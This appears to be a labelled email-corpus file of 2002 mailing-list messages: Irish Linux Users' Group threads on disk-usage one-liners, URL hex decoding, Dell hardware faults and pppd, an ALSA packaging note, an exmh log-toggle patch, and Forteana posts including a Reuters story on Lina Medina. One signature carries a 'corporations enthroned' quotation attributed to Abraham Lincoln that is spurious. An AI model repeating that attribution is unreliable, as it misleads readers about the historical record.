nic. Also makes the maptop far more useful in the long run. Gavin -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Ronan Waide ,ILUG list ,"Tue, 27 Aug 2002 21:19:10 +0100",[ILUG] doolin,"If you're not in Doolin, beg, borrow, or steal your way there before the LBW folk depart. It's far too much fun. Cheers, Waider. Just back. -- waider@waider.ie / Yes, it /is/ very personal of me. ""...we are in fact well and truly doomed. She says that if I leave now, I can probably get a good head start before they realize that I'm gone."" - Jamie Zawinski -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Philip Reynolds ,ilug@linux.ie,"Tue, 27 Aug 2002 20:36:02 +0100",Re: [ILUG] find the biggest file,"Inn Share's [shareinnn@yahoo.com] 22 lines of wisdom included: > > Hi,all: > > Does anyone know how to list the biggest file in my > root directory?or the second biggest ..etc... > > Because I want to find out what is the reason cause my > root all most full. $ find /dir -name \* | xargs du -s | sort -n Smallest files are listed first with the largest at the end. So if you want to get the 5 largest files, pipe through tail. e.g. $ find /dir -name \* | xargs du -s | sort -n | tail -5 -- Philip Reynolds RFC Networks tel: 01 8832063 www.rfc-networks.ie fax: 01 8832041 -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Paul Kelly ,ilug@linux.ie,"Tue, 27 Aug 2002 21:25:02 +0100",Re: [ILUG] find the biggest file,"Philip Reynolds wrote: >>Does anyone know how to list the biggest file in my >>root directory?or the second biggest ..etc... > $ find /dir -name \* | xargs du -s | sort -n You might want to put a '-type f' on that find. Paul. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Paul Jakma ,David Neary ,"Tue, 27 Aug 2002 21:32:26 +0100 (IST)",Re: [ILUG] converting strings of hex to ascii,"On Tue, 27 Aug 2002, David Neary wrote: > > Actually the following would be in some way sensible: > > echo -e ""`echo ""$enc"" | sed 's/%\([0-9a-fA-F]\{2,2\}\)/\\\x\1/g'`"" > > Why {2,2}? Why not {2}? no idea. the above was something along the lines i was attempting, once i realised it was a straight swap. but i couldnt get awk's gensub to insert the \x for %'s and ='s. anyway, in the end i found something on the internet and adapted it: function decode_url (str, hextab,i,c,c1,c2,len,code) { # hex to dec lookup table hextab [""0""] = 0; hextab [""8""] = 8; hextab [""1""] = 1; hextab [""9""] = 9; hextab [""2""] = 2; hextab [""A""] = 10; hextab [""3""] = 3; hextab [""B""] = 11; hextab [""4""] = 4; hextab [""C""] = 12; hextab [""5""] = 5; hextab [""D""] = 13; hextab [""6""] = 6; hextab [""E""] = 14; hextab [""7""] = 7; hextab [""F""] = 15; decoded = """"; i = 1; len = length (str); while ( i <= len ) { c = substr (str, i, 1); # check for usual start of URI hex encoding chars if ( c == ""%"" || c == ""="" ) { if ( i+2 <= len ) { # valid hex encoding? c1 = toupper(substr(str, i+1, 1)); c2 = toupper(substr(str, i+2, 1)); if ( !(hextab [c1] == """" && hextab [c2] == """") ) { code = 0 + hextab [c1] * 16 + hextab [c2] + 0 c = sprintf (""%c"", code) i = i + 2 } } # + is space apparently } else if ( c == ""+"" ) { c = "" "" } decoded = decoded c; ++i; } return decoded } > Cheers, > Dave. > PS the late reply is because the footer on the original mail (If > you received this mail in error yadda yadda) got caught in my > spam filter, and ended up in my junkmail directory. he he... might not have been the footer - check my headers. :) regards, -- Paul Jakma paul@clubi.ie paul@jakma.org Key ID: 64A2FF6A warning: do not ever send email to spam@dishone.st Fortune: One nuclear bomb can ruin your whole day. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Spam"" ","""'Ronan Waide'"" , ""'ILUG list'"" ","Tue, 27 Aug 2002 21:38:40 +0100",RE: [ILUG] doolin,"Might just take a trip over there later tomorrow, it is after all only on my backdoor-step... E. -----Original Message----- From: ilug-admin@linux.ie [mailto:ilug-admin@linux.ie] On Behalf Of Ronan Waide Sent: 27 August 2002 21:19 To: ILUG list Subject: [ILUG] doolin If you're not in Doolin, beg, borrow, or steal your way there before the LBW folk depart. It's far too much fun. Cheers, Waider. Just back. -- waider@waider.ie / Yes, it /is/ very personal of me. ""...we are in fact well and truly doomed. She says that if I leave now, I can probably get a good head start before they realize that I'm gone."" - Jamie Zawinski -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Darren Kenny ,ilug@linux.ie,"Tue, 27 Aug 2002 22:31:39 +0100",[ILUG] Using Normal IDE Device with a Dell Latitude CPx laptop,"Hi, I've got an normal 3.5"" CD-RW IDE drive that I'd like to be able to use with a Dell Latitude CPx laptop that I've got. Does anyone know any way to enable this, for example through the use of a special cable for the Modular Bay (where CD-ROM or floppy drive is normally). There is also the possibility of using a docking station, but Dell's docking solution for the Latitude series doesn't seem to allow for the use of an IDE drive, only SCSI... Unless someone knows of a ""non-Dell"" solution that's compatible. Anyone any ideas? Thanks, Darren. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Vincent Cunniffe ,ilug@linux.ie,"Tue, 27 Aug 2002 23:38:00 +0100",Re: [ILUG] Using Normal IDE Device with a Dell Latitude CPx laptop,"Darren Kenny wrote: > Hi, > > I've got an normal 3.5"" CD-RW IDE drive that I'd like to be able to use > with a Dell Latitude CPx laptop that I've got. Does anyone know any way > enable this, for example through the use of a special cable for the > Modular Bay (where CD-ROM or floppy drive is normally). There is absolutely no way to use a conventional 3.5"" drive with a laptop directly. However, you can get an external firewire or USB cradle and attach it to the laptop like that, and any 3.5"" drive will work in that case. Example : http://www.microsense.com/USB_35_combo.asp Regards, Vin -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 David Neary ,ilug@linux.ie,"Wed, 28 Aug 2002 08:53:55 +0200",Re: [ILUG] find the biggest file,"Philip Reynolds wrote: > Inn Share's [shareinnn@yahoo.com] 22 lines of wisdom included: > > > > Hi,all: > > > > Does anyone know how to list the biggest file in my > > root directory?or the second biggest ..etc... > > > > Because I want to find out what is the reason cause my > > root all most full. > > $ find /dir -name \* | xargs du -s | sort -n > > Smallest files are listed first with the largest at the end. So if > you want to get the 5 largest files, pipe through tail. Adding -r to the sort options, and piping through head instead, might be a better idea. tail needs to read teh whole buffer, head only reads the first n lines. Cheers, Dave. -- David Neary, Marseille, France E-Mail: bolsh@gimp.org -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """John P. Looney"" ",ilug@linux.ie,"Wed, 28 Aug 2002 09:11:21 +0100",Re: [ILUG] Using Normal IDE Device with a Dell Latitude CPx laptop,"On Tue, Aug 27, 2002 at 11:38:00PM +0100, Vincent Cunniffe mentioned: > There is absolutely no way to use a conventional 3.5"" drive with a > laptop directly. However, you can get an external firewire or USB > cradle and attach it to the laptop like that, and any 3.5"" drive > will work in that case. Ah, they told me that about my A1200. Just got a video box, cut air holes and a hole for the cables, then got an extra-long 2.5"" to 3.5"" IDE cable, and connected it up. Had to make a few holes in the A1200 case for the IDE cable too. Worked a charm. Until I dropped the disk one day onto concrete. Kate -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Aherne Peter-pahern02 ,"""'ilug@linux.ie'"" ","Wed, 28 Aug 2002 09:29:19 +0100",[ILUG] [OT] Dell machine giving me hassle.,"Ok, Iknow this is blatantly OT but I'm beginning to go insane. Had an old Dell Dimension XPS sitting in the corner and decided to put it to use, I know it was working pre being stuck in the corner, but when I plugged it in, hit the power nothing happened. I opened her up and had a look and say nothing much. A little orange LED comes on when I plug her in but that's it, after some googling I found some reference to re-seating all the parts, but no change. The problem I'm having is that since the power supply is some Dell specific one, ATX block with what looks like one of the old AT power connectors, I cant figure out weather this is a Mobo prob or a PSU prob. Just to futily try and drag this back OT, I want to install Linux on it when I get it working. If anyone knows what the problem might be give me a shout. Cheers, Peter. -- Peter Aherne, Software Engineer, Motorola Ireland Ltd. Ph: +353 21 4511234 Mobile: +353 87 2246834 -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Paul Kelly ,ilug@linux.ie,"Wed, 28 Aug 2002 09:31:55 +0100",Re: [ILUG] Using Normal IDE Device with a Dell Latitude CPx laptop,"John P. Looney wrote: >>There is absolutely no way to use a conventional 3.5"" drive with a >>laptop directly. > Ah, they told me that about my A1200. > > Worked a charm. Until I dropped the disk one day onto concrete. Go on. Tell them how long the /first/ one lasted. I vote external firewire if the laptop has the ports for it. Paul. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Philip O Brien ,"""'ilug@linux.ie'"" ","Wed, 28 Aug 2002 09:36:39 +0100",FW: [ILUG] Using Normal IDE Device with a Dell Latitude CPx lapto p,"I vote usb 1.1 as the chances are the cdr drive is not over 8x write and thus fireware is of no real use... but i cant see how you are going to get it working without a cradle. I cant even get my dell laptop dvd drive to work as the connectors are not the same as my cd drive ones.. seems dell cant keep any standards going :-( -----Original Message----- From: Paul Kelly [mailto:longword@esatclear.ie] Sent: 28 August 2002 09:32 To: ilug@linux.ie Subject: Re: [ILUG] Using Normal IDE Device with a Dell Latitude CPx laptop John P. Looney wrote: >>There is absolutely no way to use a conventional 3.5"" drive with a >>laptop directly. > Ah, they told me that about my A1200. > > Worked a charm. Until I dropped the disk one day onto concrete. Go on. Tell them how long the /first/ one lasted. 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List maintainer: listmaster@linux.ie",0,1 """Brian O'Donoghue"" ","""'ilug@linux.ie'"" ","Wed, 28 Aug 2002 09:56:41 +0100",RE: [ILUG] [OT] Dell machine giving me hassle.,"> -----Original Message----- > From: Aherne Peter-pahern02 [mailto:peter.aherne@motorola.com] > Sent: 28 August 2002 09:29 > To: 'ilug@linux.ie' > Subject: [ILUG] [OT] Dell machine giving me hassle. > > Ok, Iknow this is blatantly OT but I'm beginning to go insane. > Had an old Dell Dimension XPS sitting in the corner and decided to > put it to use, I know it was working pre being stuck in the > corner, but when I plugged it in, hit the power nothing happened. > I opened her up and had a look and say nothing much. A little orange > LED comes on when I plug her in but that's it, after some googling > I found some reference to re-seating all the parts, but no change. > The problem I'm having is that since the power supply is some Dell > specific one, ATX block with what looks like one of the old AT > power connectors, I cant figure out weather this is a Mobo prob > or a PSU prob. Just to futily try and drag this back OT, I want > to install Linux on it when I get it working. If anyone knows > what the problem might be give me a shout. Here is what you do. Remove all the PCI & ISA/EISA cards. Remove the floppy disk cable from the mobo, the ide cables from the mobo... essentially leaving only a video card... ram and a keyboard plugged in. Turn on the system. If it doesn't POST then, switch it off and remove the video card. Switch it back on ... if your mobo doesn't emit some beeps complaining about lack of video card then. Switch it off. Remove it's ram. Same procedure as above. If you still don't have any kind of mobo beep codes then you can try as a last ditch effort to reseat the cpu... (remembering to never ever ever power up your system without a heatsink & fan). If after reseating the cpu into the mobo... you still get no beep codes, from it with just the cpu inserted into the mobo ie(no pci,*isa cards or and no actual ide or floppy cables connected to the system)... even though you have power... you either have a faulty motherboard or a faulty cpu. Once you get beep codes various permutations of the above should eventually disjunct which device it is, is causing the lack of POST. Power On Self Test. Bod -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Brian O'Donoghue"" ","""'ilug@linux.ie'"" ","Wed, 28 Aug 2002 09:59:21 +0100",RE: [ILUG] [OT] Dell machine giving me hassle.,"> > Ok, Iknow this is blatantly OT but I'm beginning to go insane. > > Had an old Dell Dimension XPS sitting in the corner and decided to > > put it to use, I know it was working pre being stuck in the > > corner, but when I plugged it in, hit the power nothing happened. > > I opened her up and had a look and say nothing much. A little orange > > LED comes on when I plug her in but that's it, after some googling > > I found some reference to re-seating all the parts, but no change. > > The problem I'm having is that since the power supply is some Dell > > specific one, ATX block with what looks like one of the old AT > > power connectors, I cant figure out weather this is a Mobo prob > > or a PSU prob. Just to futily try and drag this back OT, I want > > to install Linux on it when I get it working. If anyone knows > > what the problem might be give me a shout. Ie if you are getting a little orange LED when you plug it in then your PSU is probably working. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Padraig Brady ,ilug@linux.ie,"Wed, 28 Aug 2002 09:57:04 +0100",Re: [ILUG] directory merging,"John P. Looney wrote: > I've two directories, that once upon a time contained the same files. > > Now, they don't. > > Is there a tool to merge the two - create a new directory where if the > files are the same, they aren't changed, if they are different, the one > with the most recent datestamp is used... Just for the record mc has a nice directory comparison function. This is really nice when using the ftp VFS for e.g. Of course if you use something like ftpfs you can use the previously mentioned tools. Pdraig. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """Carlos Luna"" ",,"Wed, 28 Aug 2002 10:00:45 +0100",[ILUG] PPPD disconnects on me!,"Hello folks! I'm new to Linux, so here goes... I've been trying to get connected to the outside world through my modem. I've got Debian with kernel 2.4.18. I've got this Win-Modem(yes, I know) and managed to locate a proper driver for it. Minicom is very much able to dial out. But there seems to be a problem with my PPPD installation. When I type 'ppp' in the minicom terminal, all I get (after the initial info of my dynamic IP, etc) is a ~ and then the NO CARRIER signal. Then I looked into calling pppd directly using chat. I used this command: pppd call Provider (where Provider is some script somewhere). It dials, it connects, it sends my username & password, and when connection is established, it gives the SIGHUP signal and exits. This is confirmed when me friend and I tried to connect through a serial port using pppd to connect ttyS0. I ran pppd waiting for a connection, me friend tried connecting and as soon as he did, pppd exited. Some expert help would be greatly appreciated as I'm sick and tired of having to reboot, get into Windoze to hook up to the net and then back to Linux, mounting this drive to get that file, etc. It'd be nice never have to go back to Windoze(except for games, that is). Thanks a million. Carlos -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 David Neary ,ILUG list ,"Wed, 28 Aug 2002 11:04:19 +0200",Re: [ILUG] converting strings of hex to ascii,"Paul Jakma wrote: > On Tue, 27 Aug 2002, David Neary wrote: > > > > Actually the following would be in some way sensible: > > > echo -e ""`echo ""$enc"" | sed 's/%\([0-9a-fA-F]\{2,2\}\)/\\\x\1/g'`"" > > > > Why {2,2}? Why not {2}? > > the above was something along the lines i was attempting, once i > realised it was a straight swap. but i couldnt get awk's gensub to > insert the \x for %'s and ='s. Perl's pack() would do the job... > > PS the late reply is because the footer on the original mail (If > > you received this mail in error yadda yadda) got caught in my > > spam filter, and ended up in my junkmail directory. > > might not have been the footer - check my headers. :) Actually, it was worse - a bodycheck showed up a ""remove"" URL. I need a new spam filter (but I want to be able to process false positives, rather than dump them). Cheers, Dave. -- David Neary, Marseille, France E-Mail: bolsh@gimp.org -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Padraig Brady ,Inn Share ,"Wed, 28 Aug 2002 10:20:35 +0100",Re: [ILUG] find the biggest file,"Inn Share wrote: > Hi,all: > > Does anyone know how to list the biggest file in my > root directory?or the second biggest ..etc... > > Because I want to find out what is the reason cause my > root all most full. > > The system is Solaris 8 Sparc. > > Thanks !!! I think everybody has their own version of this, but in case it's useful.. (only tested on Linux): find $* \( -type f -o -type l \) -maxdepth 1 -mindepth 1 -print0 | xargs -r0 du -b --max-depth 0 | sort -k1n | grep -v ""^0"" Pdraig. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Tiarnan O Corrain ,Inn Share ,28 Aug 2002 10:14:34 +0100,Re: [ILUG] find the biggest file,"Inn Share writes: > Hi,all: > > Does anyone know how to list the biggest file in my > root directory?or the second biggest ..etc... > > Because I want to find out what is the reason cause my > root all most full. find / -xdev -type f -exec du -sk {} \; | sort -rn | head -5 -xdev will stop find recursing into other filesystems. Cheers Tiarnan -- Tiarnn Corrin Consultant / System Administrator CMG Wireless Data Solutions Ltd. Tel.: +353 21 4933200 Fax: +353 21 4933201 -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Padraig Brady ,ILUG list ,"Wed, 28 Aug 2002 10:23:20 +0100",Re: [ILUG] converting strings of hex to ascii,"David Neary wrote: > Padraig Brady wrote: > >>>Paul Jakma wrote: >>> >>>>chars in hex to plain ASCII? >>>> >>>>eg given >>>> http://w%77%77%2Eo%70%74%6F%72%69um.n%65t/remove.html >>>> >>>>is there an easy way to turn it into >>>> >>>> http://www.optorium.net/remove.html >>>>eg, whether by piping through some already available tool, or >>>>programmatically (printf? - but i dont see how.). >>> >>Actually the following would be in some way sensible: >>echo -e ""`echo ""$enc"" | sed 's/%\([0-9a-fA-F]\{2,2\}\)/\\\x\1/g'`"" > > > Why {2,2}? Why not {2}? Me being silly, that's all. Pdraig. -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Vanush Paturyan ,ilug@linux.ie,"Wed, 28 Aug 2002 10:28:59 +0100 (IST)",Re: [ILUG] [OT] Dell machine giving me hassle.,"I'm not familiar with Dell Dimension XPS, and, to be honest, not familiar with any brand-name computers. Most of my experience is China motherboards, but I've seen same behavior once. Changing the battery helps that time. It was big round battery with 'Panasonic' on it. Computer starts beeping then we removed battery from MB. It even booted up (well, loosing time and some other things). Just my 2 cents. Misha On Wed, 28 Aug 2002, Aherne Peter-pahern02 wrote: > Ok, Iknow this is blatantly OT but I'm beginning to go insane. > Had an old Dell Dimension XPS sitting in the corner and decided to > put it to use, -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 """David O'Callaghan"" ",ilug@linux.ie,"Wed, 28 Aug 2002 10:48:13 +0100",Re: [ILUG] Newbie seeks advice - Suse 7.2,"On Fri, Aug 23, 2002 at 09:26:47AM +0100, Padraig Brady wrote: [...] > probably a bit old, 7.3 and 8.0 are out. And I've been told by a SuSE rep that 8.1 will be out in October, for those who are interested. David -- Irish Linux Users' Group: ilug@linux.ie http://www.linux.ie/mailman/listinfo/ilug for (un)subscription information. List maintainer: listmaster@linux.ie",0,1 Matthias Saou ,"valhalla-list@spamassassin.taint.org, RPM-List ","Wed, 28 Aug 2002 00:42:15 +0200",ALSA (almost) made easy,"Hi all, I've decided at last to test the ALSA sound drivers. As usual the result is that I've spent much more time repackaging the darn thing than actually testing the functionalities or trying to hear the great sound quality people seem to think it outputs... but hey, some of you will benefit from that, right? ;-) I've got the whole thing working on a Valhalla system, but the packages should easily install or at least recompile on Enigma, Limbo/(null) and maybe others, who knows ;-) Here are quick instructions for those of you that wish to try it out : - Recompile the ""alsa-driver"" source rpm for your running kernel (you can install the binary package if you're using the i686 2.4.18-10) - Install this ""alsa-driver"" package - Install the ""alsa-libs"" package - Install the ""alsa-utils"" package Now go to this URL and find out what you need to change in your /etc/modules.conf file to replace the default OSS driver loading : http://www.alsa-project.org/alsa-doc/ (very complete and very good documentation!) Hopefully you'll see that your card *is* supported ;-) Reboot, or remove by hand your current sound modules (you'll probably need to stop many applications to free the sound resource...) ""by hand"" and insert the new ones. If all is well you've got ALSA working! (""dmesg"" to check is a good idea), you now just need to adjust the volume levels with e.g. aumix and alsamixer because everything is muted by default. With ""aplay"" you can already test files to see if you hear anything. You can also install the XMMS plugin (seems to make my XMMS segfault on exit... hmmm, but maybe it's another plugin) to listen to your good ol' mp3 files... that's it! It really isn't complicated, and has never been from what I see. The only thing I disliked was to have to install from source... but as I can't imagine myself doing that ;-) I've repackaged everything cleanly. Even the /dev entries are included in the rpm package (and *not* created by an ugly %post script, I insist!) and seamlessly integrate into the /etc/makedev.d structure. There are also a few other noticeable differences with the default provided ALSA spec files, for example I've split alsa-lib's development files into an alsa-lib-devel package and included static libraries... there are others of course (oh yes, the kernel version against which the ""alsa-driver"" package is compiled gets neatly integrated in the rpm release, so does the architecture!). I'm open to any comments or suggestions about these packages! Download : http://ftp.freshrpms.net/pub/freshrpms/testing/alsa/ Current spec files : http://freshrpms.net/builds/alsa-driver/alsa-driver.spec http://freshrpms.net/builds/alsa-lib/alsa-lib.spec http://freshrpms.net/builds/alsa-utils/alsa-utils.spec (All others, patches etc. : http://freshrpms.net/builds/ ) Matthias PS: As an extra bonus, I've also recompiled xine with alsa support! Simply run ""xine -A alsa09"" and off you go! It may even support 5.1 and S/PDIF ;-) -- Clean custom Red Hat Linux rpm packages : http://freshrpms.net/ Red Hat Linux release 7.3 (Valhalla) running Linux kernel 2.4.18-10 Load : 0.57 0.42 0.42, AC on-line, battery charging: 29% (1:55) _______________________________________________ RPM-List mailing list http://lists.freshrpms.net/mailman/listinfo/rpm-list",0,1 Robert Elz ,exmh-workers@spamassassin.taint.org,"Wed, 28 Aug 2002 17:44:28 +0700",Patch to enable/disable log,"While I was playing with the past issues, it annoyed me that there was no easy way to make the log stop growing (I don't mean to truncate it, I mean to just freeze it for a while). The following patch adds a new button to the log window, which allows the log to be switched on/off (the button says ""Disable"" when the log is enabled, and the button disables it, and ""Enable"" when the log is frozen, and the button enables it again). kre --- main.tcl Wed Aug 21 15:01:48 2002 +++ /usr/local/lib/exmh-2.5/main.tcl Wed Aug 28 17:36:59 2002 @@ -385,6 +385,9 @@ ExmhLogCreate wm withdraw $exmh(logTop) } + if {! $exmh(logWrite)} { + return + } if [info exists exmh(log)] { catch { # $exmh(log) insert end "" [bw_delta] "" @@ -407,6 +410,9 @@ set exmh(logWindow) 1 Exwin_Toplevel .log ""Exmh Log"" Log set exmh(logTop) .log + set exmh(logDisableBut) \ + [Widget_AddBut $exmh(logTop).but swap ""Disable"" ExmhLogToggle] + set exmh(logWrite) 1 Widget_AddBut $exmh(logTop).but trunc ""Truncate"" ExmhLogTrunc Widget_AddBut $exmh(logTop).but save ""Save To File"" ExmhLogSave set exmh(logYview) 1 @@ -457,6 +463,12 @@ } msg] { Exmh_Status ""Cannot save log: $msg"" error } +} +proc ExmhLogToggle {} { + global exmh + + set exmh(logWrite) [expr ! $exmh(logWrite)] + $exmh(logDisableBut) configure -text [lindex {""Enable "" Disable} $exmh(logWrite)] } #### Misc _______________________________________________ Exmh-workers mailing list Exmh-workers@redhat.com https://listman.redhat.com/mailman/listinfo/exmh-workers",0,1 """Matt Cardier"" ","""Forteana List"" ","Wed, 28 Aug 2002 20:42:14 +1000",[zzzzteana] Compensation for World's youngest mother,"http://www.cnn.com/2002/WORLD/americas/08/26/peru.mother.reut/index.html LIMA, Peru (Reuters) -- Lina Medina's parents thought their 5-year-old daughter had a huge abdominal tumor and when shamans in their remote village in Peru's Andes could find no cure, her father carried her to hospital. Just over a month later, she gave birth to a boy. Aged 5 years, seven months and 21 days old when her child was born by Caesarean section in May 1939, Medina made medical history, and is still the youngest known mother in the world. At the time, Peru's government promised aid that never materialized. Six decades on, Medina lives with her husband in a cramped house in a poor, crime-ridden district of the Peruvian capital known as ""Little Chicago."" Now 68, she keeps herself to herself and has long refused requests to rake up the past. Gerardo, the son she delivered while still a child herself, died in 1979 at the age of 40. But a new book, written by an obstetrician who has been interested in her case, has drawn fresh attention to Medina's story, and raised the prospect that the Peruvian government may belatedly offer her financial and other assistance. ""The government condemned them to live in poverty. In any other country, they would be the objects of special care,"" Jose Sandoval, author of ""Mother Aged 5,"" told Reuters. ""We still have time to repair the damage done to her. That's my fundamental objective,"" he added. 'Totally willing to help' Sandoval has raised Medina's case with the office of first lady Eliane Karp, and has asked the government to grant her a life pension -- something officials say is possible. ""We're totally willing to help her,"" said spokeswoman Marta Castaneda. But Suni Ramos, of the social action department of Karp's office, said that before the government could grant her a pension or any other of the aid it was already planning -- such as kitchen and other household equipment -- it needed to talk to her to discuss what she wanted and needed. It is currently trying to contact Medina and her family. Medina's husband, Raul Jurado, told Reuters his wife remained skeptical. ""She got no help (in 1939) that I know about,"" he said. ""She thinks governments never deliver. Maybe today there will be a promise that will never come true."" Jurado said his wife, whose story is a medical textbook classic and whose case is confirmed as true by such bodies as the American College of Obstetricians and Gynecologists, had turned down Reuters' request for an interview. Medical rarity No one has ever established who was the father of Medina's child, or confirmed she became pregnant after being raped. One of nine children born to country folk in Ticrapo, an Andean village at an altitude of 7,400 feet (2,250 meters) in Peru's poorest province, Medina is believed to be the youngest case of precocious puberty in history, Sandoval said. He said she had her first period at 2 1/2, became pregnant aged 4 years and eight months and that when doctors performed the Caesarean to deliver her baby, they found she already had fully mature sexual organs. Her swelling stomach worried her parents. ""They thought it was a tumor,"" he said. But shamans ruled out village superstitions -- including one in which locals believed a snake grew inside a person until it killed them -- and recommended they take her to hospital in the nearest big town, Pisco. There came the staggering diagnosis that she was pregnant. Her father was jailed temporarily on suspicion of incest -- he was later released for lack of evidence -- and doctors, police and even a film crew set off for her village for preliminary investigations into her case. Sandoval, who based his book on media and other published information, and some interviews with relatives as Medina herself declined to comment, said news of the child mother-to-be drew instant offers of aid, including one worth $5,000 from a U.S. businessman, which was turned down. More offers followed after Medina was transferred to a Lima hospital, where her fully developed 6-pound (2.7 kg) baby was born on May 14, 1939 -- Mother's Day. One offer was worth $1,000 a week, plus expenses, for Medina and her baby to be exhibited at the World's Fair in New York. Another, from a U.S. business that the family accepted in early June 1939, was for the pair to travel to the United States for scientists to study the case. The offer included setting up a fund to ensure their lifelong financial comfort. But within days, the state trumped all previous offers, decreeing that Medina and her baby were in ""moral danger,"" and resolving to set up a special commission to protect them. But Sandoval said: ""It abandoned the case after six months ...It did absolutely nothing for them."" Happy ending? Though physically mature, Medina -- who Sandoval said was mentally normal and showed no other unusual medical symptoms -- still behaved like a child, preferring to play with her dolls instead of the new baby, who was fed by a wet nurse. Medina stayed in hospital for 11 months, finally returning to her family after it began legal proceedings that led to a Supreme Court ruling allowing her to live with them again. After taunting from schoolmates, Gerardo -- who was named after one of the doctors who attended Medina and became their mentor -- discovered when he was 10 that the woman he had grown up believing to be his sister was in fact his mother. He died in 1979 from a disease that attacks the body's bone marrow, but Sandoval said it was not clear there was any link with his illness and the fact his mother had been so young. Medina married and in 1972 had a second son, 33 years after her first. Her second child now lives in Mexico. She appears to have turned her bizarre story into a taboo subject. ""We just want to get on with our lives, that's it,"" said Jurado, adding he thought ""absolutely nothing"" of the fact his wife was the world's youngest mother. He said the couple's main concern now, if the government's offer of aid was genuine, was to be granted the value of a property that belonged to Medina and which the then-government expropriated more than two decades ago. That house has now been destroyed and there is a road on the site. He said its value was ""more or less $25,000"" and settling the property question would conclude a long legal battle to get back a home of their own -- they live now in a modest house, accessed down a dingy alley half blocked by a wooden board, in a tough neighborhood known to locals as a thieves' paradise. ""If the government really wants to help...they should give us the value of our property,"" he said. As for Sandoval, he said he was optimistic that Medina's story, which he has studied since his student days, would turn out well. ""I believe there will be a happy ending,"" he said. ""As a result of the war, corporations have now been enthroned and an era of corruption in high places will follow and the money-power of the country will endeavor to prolong its reign by working upon the prejudices of the people until the wealth is aggregated in a few hands and the Republic is destroyed."" Abraham Lincoln (Nov 21, 1864 in a letter to Col. William F Elkins) [Non-text portions of this message have been removed] ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 Steve Burt ,"""'zzzzteana@yahoogroups.com'"" ","Wed, 28 Aug 2002 12:03:28 +0100",[zzzzteana] RE:Pictish,"Barbara wrote: Pictish pictograms (still undeciphered) ----------------------- I'd be interested in an update on the latest thinking on these things. Particularly the 'swimming elephant' pictogram. There's a book come out recently on the world's undeciphered scripts (including Linear A and Etruscan). Has any list member read it? ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM ---------------------------------------------------------------------~-> To unsubscribe from this group, send an email to: forteana-unsubscribe@egroups.com Your use of Yahoo! Groups is subject to http://docs.yahoo.com/info/terms/",0,1 """uncle_slacky"" ",zzzzteana@yahoogroups.com,"Wed, 28 Aug 2002 11:20:41 -0000",[zzzzteana] Re: That wacky imam,"--- In forteana@y..., ""Martin Adamson"" wrote: > For an alternative, and rather more factually based, rundown on Hamza's > career, including his belief that all non Muslims in Yemen should be murdered > outright: > > http://memri.org/bin/articles.cgi?Page=archives&Area=ia&ID=IA7201 And we know how unbiased MEMRI is, don't we.... http://www.guardian.co.uk/elsewhere/journalist/story/0,7792,773258,00. html Rob ------------------------ Yahoo! Groups Sponsor ---------------------~--> 4 DVDs Free +s&p Join Now http://us.click.yahoo.com/pt6YBB/NXiEAA/MVfIAA/7gSolB/TM 